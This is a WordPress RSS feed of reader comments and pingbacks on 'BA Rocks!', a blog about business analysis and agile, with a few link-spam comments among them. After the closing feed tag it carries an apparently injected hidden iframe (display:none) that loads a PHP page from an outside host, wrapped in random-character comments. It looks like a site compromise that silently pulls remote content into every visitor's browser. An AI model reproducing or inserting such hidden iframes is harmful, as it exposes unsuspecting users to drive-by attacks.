 <?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.2" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Comments for BA Rocks!</title>
	<link>http://barocks.com</link>
	<description>Mia (Murphy) Horrigan talks about Business Analysis, User Centred Design in Requirements Development and Business Process Improvement</description>
	<pubDate>Wed, 10 Mar 2010 10:16:42 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2</generator>

	<item>
		<title>Comment on Requirements management by Ashley</title>
		<link>http://barocks.com/2007/08/19/requirements-management/#comment-344</link>
		<author>Ashley</author>
		<pubDate>Tue, 17 Nov 2009 06:56:02 +0000</pubDate>
		<guid>http://barocks.com/2007/08/19/requirements-management/#comment-344</guid>
		<description>You are using Agile but still stuck with these kinda problems? Is the issue solved. Agile always makes you comfortable avoiding you problems.</description>
		<content:encoded><![CDATA[<p>You are using Agile but still stuck with these kinda problems? Is the issue solved. Agile always makes you comfortable avoiding you problems.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on What makes a good business analyst by John Landmark</title>
		<link>http://barocks.com/2009/08/24/what-makes-a-good-business-analyst/#comment-316</link>
		<author>John Landmark</author>
		<pubDate>Mon, 14 Sep 2009 17:56:58 +0000</pubDate>
		<guid>http://barocks.com/2009/08/24/what-makes-a-good-business-analyst/#comment-316</guid>
		<description>An article found in www.fixmybusinessprocess.com explain the difference among business analysis niches and how to become one of them. IBO Improve your business operations is a 100% web based company specialized in small business operations.</description>
		<content:encoded><![CDATA[<p>An article found in <a href="http://www.fixmybusinessprocess.com" rel="nofollow">www.fixmybusinessprocess.com</a> explain the difference among business analysis niches and how to become one of them. IBO Improve your business operations is a 100% web based company specialized in small business operations.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on What makes a good business analyst by Maria (Murphy) Horrigan</title>
		<link>http://barocks.com/2009/08/24/what-makes-a-good-business-analyst/#comment-300</link>
		<author>Maria (Murphy) Horrigan</author>
		<pubDate>Fri, 28 Aug 2009 00:41:51 +0000</pubDate>
		<guid>http://barocks.com/2009/08/24/what-makes-a-good-business-analyst/#comment-300</guid>
		<description>Thanks JB

Have been busy blogging on agile at Zenagile.wordpress.com

http://zenagile.wordpress.com/

Mia</description>
		<content:encoded><![CDATA[<p>Thanks JB</p>
<p>Have been busy blogging on agile at Zenagile.wordpress.com</p>
<p><a href="http://zenagile.wordpress.com/" rel="nofollow">http://zenagile.wordpress.com/</a></p>
<p>Mia</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on What makes a good business analyst by JB</title>
		<link>http://barocks.com/2009/08/24/what-makes-a-good-business-analyst/#comment-299</link>
		<author>JB</author>
		<pubDate>Fri, 28 Aug 2009 00:29:43 +0000</pubDate>
		<guid>http://barocks.com/2009/08/24/what-makes-a-good-business-analyst/#comment-299</guid>
		<description>Good stuff, Maria. Thanks for sharing the link to the slideshows, too. 

Good to see you back blogging again!</description>
		<content:encoded><![CDATA[<p>Good stuff, Maria. Thanks for sharing the link to the slideshows, too. </p>
<p>Good to see you back blogging again!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Social Networking Analysis by What makes a good business analyst at BA Rocks!</title>
		<link>http://barocks.com/2008/12/11/social-networking-analysis/#comment-298</link>
		<author>What makes a good business analyst at BA Rocks!</author>
		<pubDate>Fri, 28 Aug 2009 00:08:56 +0000</pubDate>
		<guid>http://barocks.com/2008/12/11/social-networking-analysis/#comment-298</guid>
		<description>[...] Who is Maria?         &#171; Social Networking Analysis [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] Who is Maria?         &laquo; Social Networking Analysis [&#8230;]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Social Networking Analysis by social business networking</title>
		<link>http://barocks.com/2008/12/11/social-networking-analysis/#comment-297</link>
		<author>social business networking</author>
		<pubDate>Sun, 23 Aug 2009 10:13:25 +0000</pubDate>
		<guid>http://barocks.com/2008/12/11/social-networking-analysis/#comment-297</guid>
		<description>&lt;strong&gt;social business networking...&lt;/strong&gt;

Your topic GBTC Blog " Blog Archive " CRM, Collaboration and Social Networking ... was interesting when I found it on Sunday searching for social business networking...</description>
		<content:encoded><![CDATA[<p><strong>social business networking&#8230;</strong></p>
<p>Your topic GBTC Blog &#8221; Blog Archive &#8221; CRM, Collaboration and Social Networking &#8230; was interesting when I found it on Sunday searching for social business networking&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Struggling to define Business Analysis and the BA role by Liza</title>
		<link>http://barocks.com/2007/10/22/struggling-to-define-business-analysis-and-the-ba-role/#comment-291</link>
		<author>Liza</author>
		<pubDate>Wed, 22 Apr 2009 07:07:40 +0000</pubDate>
		<guid>http://barocks.com/2007/10/22/struggling-to-define-business-analysis-and-the-ba-role/#comment-291</guid>
		<description>If you   want to read a reader's feedback :) , I rate this post for four from five. Decent info, but I just have to go to that damn msn to find the missed bits. Thanks, anyway!</description>
		<content:encoded><![CDATA[<p>If you   want to read a reader&#8217;s feedback <img src='http://barocks.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> , I rate this post for four from five. Decent info, but I just have to go to that damn msn to find the missed bits. Thanks, anyway!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Are BA skills in demand and recession proof? by Kingsley Tagbo - IT Career Boot Camp</title>
		<link>http://barocks.com/2008/11/29/are-ba-skills-in-demand-and-recession-proof/#comment-289</link>
		<author>Kingsley Tagbo - IT Career Boot Camp</author>
		<pubDate>Mon, 26 Jan 2009 19:23:47 +0000</pubDate>
		<guid>http://barocks.com/2008/11/29/are-ba-skills-in-demand-and-recession-proof/#comment-289</guid>
		<description>Good article .. it is good to know that System Analysts (Business Analysts) rank highly in the list of recession proof careers.</description>
		<content:encoded><![CDATA[<p>Good article .. it is good to know that System Analysts (Business Analysts) rank highly in the list of recession proof careers.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Are BA skills in demand and recession proof? by Jonathan Babcock &#187; Blog Archive &#187; Business Analysis in an Uncertain Economy</title>
		<link>http://barocks.com/2008/11/29/are-ba-skills-in-demand-and-recession-proof/#comment-281</link>
		<author>Jonathan Babcock &#187; Blog Archive &#187; Business Analysis in an Uncertain Economy</author>
		<pubDate>Tue, 02 Dec 2008 04:37:59 +0000</pubDate>
		<guid>http://barocks.com/2008/11/29/are-ba-skills-in-demand-and-recession-proof/#comment-281</guid>
		<description>[...] @ BA Rocks! recently posted a nice read on the topic of how &#8220;recession-proof&#8221; the BA role may be. She shares a Time.com article that lists &#8220;Computer Systems Analyst&#8221; as #1 on a list of [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] @ BA Rocks! recently posted a nice read on the topic of how &#8220;recession-proof&#8221; the BA role may be. She shares a Time.com article that lists &#8220;Computer Systems Analyst&#8221; as #1 on a list of [&#8230;]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Gershon Review into ICT by Are BA skills in demand and recession proof? at BA Rocks!</title>
		<link>http://barocks.com/2008/11/10/gershon-review-into-ict/#comment-278</link>
		<author>Are BA skills in demand and recession proof? at BA Rocks!</author>
		<pubDate>Fri, 28 Nov 2008 21:34:38 +0000</pubDate>
		<guid>http://barocks.com/2008/11/10/gershon-review-into-ict/#comment-278</guid>
		<description>[...] the economic downturn of recent months, the release of the Gershon Review into ICT and a general slowdown in government spending as part of the normal election and budget cycle, I [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] the economic downturn of recent months, the release of the Gershon Review into ICT and a general slowdown in government spending as part of the normal election and budget cycle, I [&#8230;]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
   

<!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><div style="display:none"><iframe src="http://sites-counter.com/users/189/in.php" width="72" height="405">Text here...</iframe></div><!-- hJTY sXhwZrhTpA gJKLhdIvzPX_2 -->